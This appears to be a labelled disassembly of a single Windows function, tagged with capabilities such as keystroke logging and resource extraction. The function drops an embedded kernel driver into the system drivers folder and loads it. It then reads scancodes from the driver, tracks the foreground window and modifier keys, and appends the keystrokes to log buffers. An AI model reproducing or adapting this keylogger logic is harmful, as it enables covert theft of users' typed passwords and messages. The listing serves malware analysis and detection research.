Function at 0x10015590
Capabilities:
Extract resource via kernel32 functions
Get common file path
Get keyboard layout
Log keystrokes via polling
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100cbfab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1f0
mov dword [ebp - 0x1ec], ecx
push str.DRIVERZ
mov eax, dword [ebp - 0x1ec]
movzx ecx, word [eax + 0xc]
push ecx
mov edx, dword [ebp - 0x1ec]
mov eax, dword [edx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x130], eax
mov ecx, dword [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x1ec]
mov eax, dword [edx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
add eax, 4
mov dword [ebp - 0x38], eax
mov edx, dword [ebp - 0x130]
push edx
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
sub eax, 4
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x34], edx
push 0x104
mov eax, dword [ebp - 0x1ec]
add eax, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str.DriversEAF
push 0x104
mov ecx, dword [ebp - 0x1ec]
add ecx, 0x10
push ecx
call fcn.10001ec0
mov edx, dword [ebp - 0x1ec]
mov eax, dword [edx + 0xc]
push eax
push str.EAF_08x.sys
push 0x64
lea ecx, [ebp - 0x104]
push ecx
call fcn.10003de0
add esp, 0x10
lea edx, [ebp - 0x104]
push edx
push 0x104
mov eax, dword [ebp - 0x1ec]
add eax, 0x10
push eax
call fcn.10001ec0
push 0
push 0
push 2
push 0
push 0
push 0xc0000000
mov ecx, dword [ebp - 0x1ec]
add ecx, 0x10
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x1ec]
add eax, 0x10
push eax
push str.CreateFile_for__ws___x
call fcn.10010cb0
add esp, 0xc
mov dword [ebp - 0x134], 0
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.1009de20
add esp, 4
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x2c]
push edx
call fcn.1009ead1
add esp, 4
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.1009de50
add esp, 0x10
mov dword [ebp - 0x120], eax
push 0
lea edx, [ebp - 0x134]
push edx
mov eax, dword [ebp - 0x120]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x11c], 4
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0x1ec]
movzx eax, word [edx + ecx*2 + 0x10]
cmp eax, 0x5c
je 0x1001577e
mov ecx, dword [ebp - 0x11c]
add ecx, 1
mov dword [ebp - 0x11c], ecx
jmp 0x10015757
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov edx, dword [ebp - 0x1ec]
mov dword [edx], eax
mov eax, 1
test eax, eax
je 0x1001585b
lea ecx, [ebp - 0x144]
call fcn.10003e90
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x144]
call fcn.10003f50
push str.EAFKBD
lea ecx, [ebp - 0x144]
call fcn.10004050
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0x1ec]
lea eax, [edx + ecx*2 + 0x12]
push eax
push str.EAFKBD
lea ecx, [ebp - 0x144]
call fcn.10004120
push str.EAFKBD
lea ecx, [ebp - 0x144]
call fcn.10003fe0
push str.CKeyboardIntercept::Run_____Loading_Driver
call fcn.10010cb0
add esp, 4
mov ecx, dword [ebp - 0x1ec]
call fcn.10014450
movzx ecx, al
test ecx, ecx
je 0x1001582c
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call fcn.10003f20
jmp 0x1001585b
push str.Still_attempting_to_load_driver
call fcn.10010cb0
add esp, 4
push 0x9c4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call fcn.10003f20
jmp 0x1001578e
push str.CKeyboardIntercept::Run_____Loading_logger
call fcn.10010cb0
add esp, 4
mov edx, dword [ebp - 0x1ec]
mov eax, dword [0x100f4c54]
mov dword [edx + 0x224], eax
push 0x4000
push 0
mov ecx, dword [ebp - 0x1ec]
mov edx, dword [ecx + 0x218]
push edx
call fcn.1009eb40
add esp, 0xc
push 0x4000
push 0
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [eax + 0x21c]
push ecx
call fcn.1009eb40
add esp, 0xc
push str.FusionKeyboardEvent
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x12c], edx
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2d], 1
mov dword [ebp - 0x18], 0
push str.CKeyboardIntercept::Run_____Waiting_for_keys
call fcn.10010cb0
add esp, 4
mov ecx, 0x100f5260
call fcn.100201b0
push 0
call fcn.1009e296
add esp, 4
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], edx
mov eax, 1
test eax, eax
je 0x1001617d
push 0x3e8
push 0
lea ecx, [ebp - 0x12c]
push ecx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0
jne 0x10016178
push 0
lea edx, [ebp - 0x10]
push edx
push 0xc
lea eax, [ebp - 0x118]
push eax
push 0
lea ecx, [ebp - 0x118]
push ecx
push 0x222000
mov edx, dword [ebp - 0x1ec]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
je 0x10016145
cmp dword [ebp - 0x10], 0
jbe 0x10016145
mov ecx, dword [ebp - 0x110]
push ecx
mov edx, dword [ebp - 0x114]
push edx
mov eax, dword [ebp - 0x10]
push eax
push str.CKeyboardIntercept::Run_____got__d__Thread_x__Process_x
call fcn.10010cb0
add esp, 0x10
mov dword [ebp - 0x10], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x150]
cmp ecx, dword [ebp - 0x1c]
je 0x10015a0c
mov ecx, dword [ebp - 0x1ec]
call fcn.10014bb0
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0x1c], edx
mov byte [ebp - 0x2d], 1
mov eax, dword [ebp - 0x110]
push eax
mov ecx, dword [ebp - 0x114]
push ecx
mov edx, dword [ebp - 0x1ec]
mov ecx, dword [edx + 0x224]
call fcn.1000cf70
mov eax, dword [0x100f525b]
push eax
mov ecx, dword [0x100f5257]
push ecx
push str.Admin_Keys___x___x
call fcn.10010cb0
add esp, 0xc
cmp dword [ebp - 0x18], 1
jne 0x10015a63
movzx edx, word [ebp - 0x118]
cmp edx, dword [0x100f525b]
jne 0x10015a63
mov dword [ebp - 0x18], 0xffffffec
mov ecx, dword [ebp - 0x1ec]
call fcn.10014c30
mov dword [ebp - 0x18], 0xffffffec
mov dword [ebp - 0x14c], 0
jmp 0x10015981
cmp dword [ebp - 0x18], 0
jne 0x10015a92
movzx eax, word [ebp - 0x118]
cmp eax, dword [0x100f5257]
jne 0x10015a92
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14c], 0
jmp 0x10015981
mov dword [ebp - 0x18], 0
movzx edx, word [ebp - 0x118]
push edx
push str.SCANCODE_x
call fcn.10010cb0
add esp, 8
movzx eax, word [ebp - 0x118]
cmp eax, 0x2a
jne 0x10015abf
jmp 0x10015981
movzx ecx, word [ebp - 0x118]
cmp ecx, 0x1d
jne 0x10015ad0
jmp 0x10015981
movzx edx, word [ebp - 0x118]
cmp edx, 0x38
jne 0x10015ae1
jmp 0x10015981
movzx eax, word [ebp - 0x118]
cmp eax, 0x36
jne 0x10015af2
jmp 0x10015981
mov ecx, dword [ebp - 0x1ec]
mov edx, dword [ecx + 0x220]
add edx, 1
mov eax, dword [ebp - 0x1ec]
mov dword [eax + 0x220], edx
mov dword [0x100f5194], 0
movzx ecx, word [ebp - 0x118]
push ecx
push str._02x_
push 8
lea edx, [ebp - 0x15c]
push edx
call fcn.10003100
add esp, 0x10
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [eax + 0x21c]
mov dword [ebp - 0x17c], ecx
push bind
lea edx, [ebp - 0x178]
push edx
push 0x4000
mov eax, dword [ebp - 0x17c]
push eax
call fcn.1009da18
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0
jl 0x10015ba5
push bind
lea ecx, [ebp - 0x15c]
push ecx
push 0
mov edx, 0x4000
sub edx, dword [ebp - 0x178]
push edx
mov eax, dword [ebp - 0x17c]
add eax, dword [ebp - 0x178]
push eax
call fcn.1009db50
mov dword [ebp - 0x174], eax
push 0xa1
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
test ecx, ecx
jne 0x10015bd5
push 0xa0
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx edx, ax
test edx, edx
jne 0x10015bd5
mov dword [ebp - 0x1f0], 0
jmp 0x10015bdf
mov dword [ebp - 0x1f0], 1
mov al, byte [ebp - 0x1f0]
and al, 1
shl al, 2
mov cl, byte [ebp - 0x116]
and cl, 0xfb
or cl, al
mov byte [ebp - 0x116], cl
push 0xa3
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx edx, ax
test edx, edx
jne 0x10015c29
push 0xa2
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x10015c29
mov dword [ebp - 0x1f4], 0
jmp 0x10015c33
mov dword [ebp - 0x1f4], 1
mov cl, byte [ebp - 0x1f4]
and cl, 1
shl cl, 4
mov dl, byte [ebp - 0x116]
and dl, 0xef
or dl, cl
mov byte [ebp - 0x116], dl
push 0xa4
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x10015c7e
push 0xa5
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
test ecx, ecx
jne 0x10015c7e
mov dword [ebp - 0x1f8], 0
jmp 0x10015c88
mov dword [ebp - 0x1f8], 1
mov dl, byte [ebp - 0x1f8]
and dl, 1
shl dl, 3
mov al, byte [ebp - 0x116]
and al, 0xf7
or al, dl
mov byte [ebp - 0x116], al
push 0x90
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [ebp - 0x1fa], ax
movsx ecx, word [ebp - 0x1fa]
neg ecx
sbb ecx, ecx
neg ecx
and cl, 1
mov dl, byte [ebp - 0x116]
and dl, 0xfe
or dl, cl
mov byte [ebp - 0x116], dl
mov al, byte [ebp - 0x116]
shr al, 3
and al, 1
movzx ecx, al
test ecx, ecx
je 0x10015d57
mov edx, dword [ebp - 0x1ec]
mov eax, dword [edx + 0x218]
mov dword [ebp - 0x188], eax
push bind
lea ecx, [ebp - 0x184]
push ecx
push 0x4000
mov edx, dword [ebp - 0x188]
push edx
call fcn.1009da18
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0
jl 0x10015d57
push bind
push str.__Alt
push 0
mov eax, 0x4000
sub eax, dword [ebp - 0x184]
push eax
mov ecx, dword [ebp - 0x188]
add ecx, dword [ebp - 0x184]
push ecx
call fcn.1009db50
mov dword [ebp - 0x180], eax
mov dl, byte [ebp - 0x116]
shr dl, 4
and dl, 1
movzx eax, dl
test eax, eax
je 0x10015dd8
mov ecx, dword [ebp - 0x1ec]
mov edx, dword [ecx + 0x218]
mov dword [ebp - 0x194], edx
push bind
lea eax, [ebp - 0x190]
push eax
push 0x4000
mov ecx, dword [ebp - 0x194]
push ecx
call fcn.1009da18
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
jl 0x10015dd8
push bind
push str.__Ctrl
push 0
mov edx, 0x4000
sub edx, dword [ebp - 0x190]
push edx
mov eax, dword [ebp - 0x194]
add eax, dword [ebp - 0x190]
push eax
call fcn.1009db50
mov dword [ebp - 0x18c], eax
lea ecx, [ebp - 0x118]
push ecx
mov ecx, dword [ebp - 0x1ec]
call fcn.100145e0
mov dword [ebp - 0x154], eax
mov edx, dword [ebp - 0x154]
movsx eax, byte [edx + 1]
test eax, eax
jne 0x10015e77
mov ecx, dword [ebp - 0x1ec]
mov edx, dword [ecx + 0x218]
mov dword [ebp - 0x1a0], edx
push bind
lea eax, [ebp - 0x19c]
push eax
push 0x4000
mov ecx, dword [ebp - 0x1a0]
push ecx
call fcn.1009da18
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
jl 0x10015e6e
push bind
mov edx, dword [ebp - 0x154]
push edx
push 0
mov eax, 0x4000
sub eax, dword [ebp - 0x19c]
push eax
mov ecx, dword [ebp - 0x1a0]
add ecx, dword [ebp - 0x19c]
push ecx
call fcn.1009db50
mov dword [ebp - 0x198], eax
mov byte [ebp - 0x2d], 0
jmp 0x1001603f
movzx edx, byte [ebp - 0x2d]
test edx, edx
jne 0x10015eef
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [eax + 0x218]
mov dword [ebp - 0x1ac], ecx
push bind
lea edx, [ebp - 0x1a8]
push edx
push 0x4000
mov eax, dword [ebp - 0x1ac]
push eax
call fcn.1009da18
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0
jl 0x10015eed
push bind
push 0x100e527c
push 0
mov ecx, 0x4000
sub ecx, dword [ebp - 0x1a8]
push ecx
mov edx, dword [ebp - 0x1ac]
add edx, dword [ebp - 0x1a8]
push edx
call fcn.1009db50
mov dword [ebp - 0x1a4], eax
jmp 0x10015f5d
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [eax + 0x218]
mov dword [ebp - 0x1b8], ecx
push bind
lea edx, [ebp - 0x1b4]
push edx
push 0x4000
mov eax, dword [ebp - 0x1b8]
push eax
call fcn.1009da18
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jl 0x10015f5d
push bind
push 0x100e5280
push 0
mov ecx, 0x4000
sub ecx, dword [ebp - 0x1b4]
push ecx
mov edx, dword [ebp - 0x1b8]
add edx, dword [ebp - 0x1b4]
push edx
call fcn.1009db50
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [eax + 0x218]
mov dword [ebp - 0x1c4], ecx
push bind
lea edx, [ebp - 0x1c0]
push edx
push 0x4000
mov eax, dword [ebp - 0x1c4]
push eax
call fcn.1009da18
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jl 0x10015fcd
push bind
mov ecx, dword [ebp - 0x154]
push ecx
push 0
mov edx, 0x4000
sub edx, dword [ebp - 0x1c0]
push edx
mov eax, dword [ebp - 0x1c4]
add eax, dword [ebp - 0x1c0]
push eax
call fcn.1009db50
mov dword [ebp - 0x1bc], eax
mov ecx, dword [ebp - 0x1ec]
mov edx, dword [ecx + 0x218]
mov dword [ebp - 0x1d0], edx
push bind
lea eax, [ebp - 0x1cc]
push eax
push 0x4000
mov ecx, dword [ebp - 0x1d0]
push ecx
call fcn.1009da18
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0
jl 0x1001603b
push bind
push 0x100e5284
push 0
mov edx, 0x4000
sub edx, dword [ebp - 0x1cc]
push edx
mov eax, dword [ebp - 0x1d0]
add eax, dword [ebp - 0x1cc]
push eax
call fcn.1009db50
mov dword [ebp - 0x1c8], eax
mov byte [ebp - 0x2d], 1
mov cl, byte [ebp - 0x116]
shr cl, 3
and cl, 1
movzx edx, cl
test edx, edx
je 0x100160c0
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [eax + 0x218]
mov dword [ebp - 0x1dc], ecx
push bind
lea edx, [ebp - 0x1d8]
push edx
push 0x4000
mov eax, dword [ebp - 0x1dc]
push eax
call fcn.1009da18
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
jl 0x100160c0
push bind
push 0x100e5284
push 0
mov ecx, 0x4000
sub ecx, dword [ebp - 0x1d8]
push ecx
mov edx, dword [ebp - 0x1dc]
add edx, dword [ebp - 0x1d8]
push edx
call fcn.1009db50
mov dword [ebp - 0x1d4], eax
mov al, byte [ebp - 0x116]
shr al, 4
and al, 1
movzx ecx, al
test ecx, ecx
je 0x10016140
mov edx, dword [ebp - 0x1ec]
mov eax, dword [edx + 0x218]
mov dword [ebp - 0x1e8], eax
push bind
lea ecx, [ebp - 0x1e4]
push ecx
push 0x4000
mov edx, dword [ebp - 0x1e8]
push edx
call fcn.1009da18
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0
jl 0x10016140
push bind
push 0x100e5284
push 0
mov eax, 0x4000
sub eax, dword [ebp - 0x1e4]
push eax
mov ecx, dword [ebp - 0x1e8]
add ecx, dword [ebp - 0x1e4]
push ecx
call fcn.1009db50
mov dword [ebp - 0x1e0], eax
jmp 0x10015981
push 0
lea edx, [ebp - 0x10]
push edx
push 0xc
lea eax, [ebp - 0x118]
push eax
push 0
lea ecx, [ebp - 0x118]
push ecx
push 0x222000
mov edx, dword [ebp - 0x1ec]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [ebp - 0x14c], eax
jmp 0x10015918
mov ecx, dword [ebp - 0x1ec]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret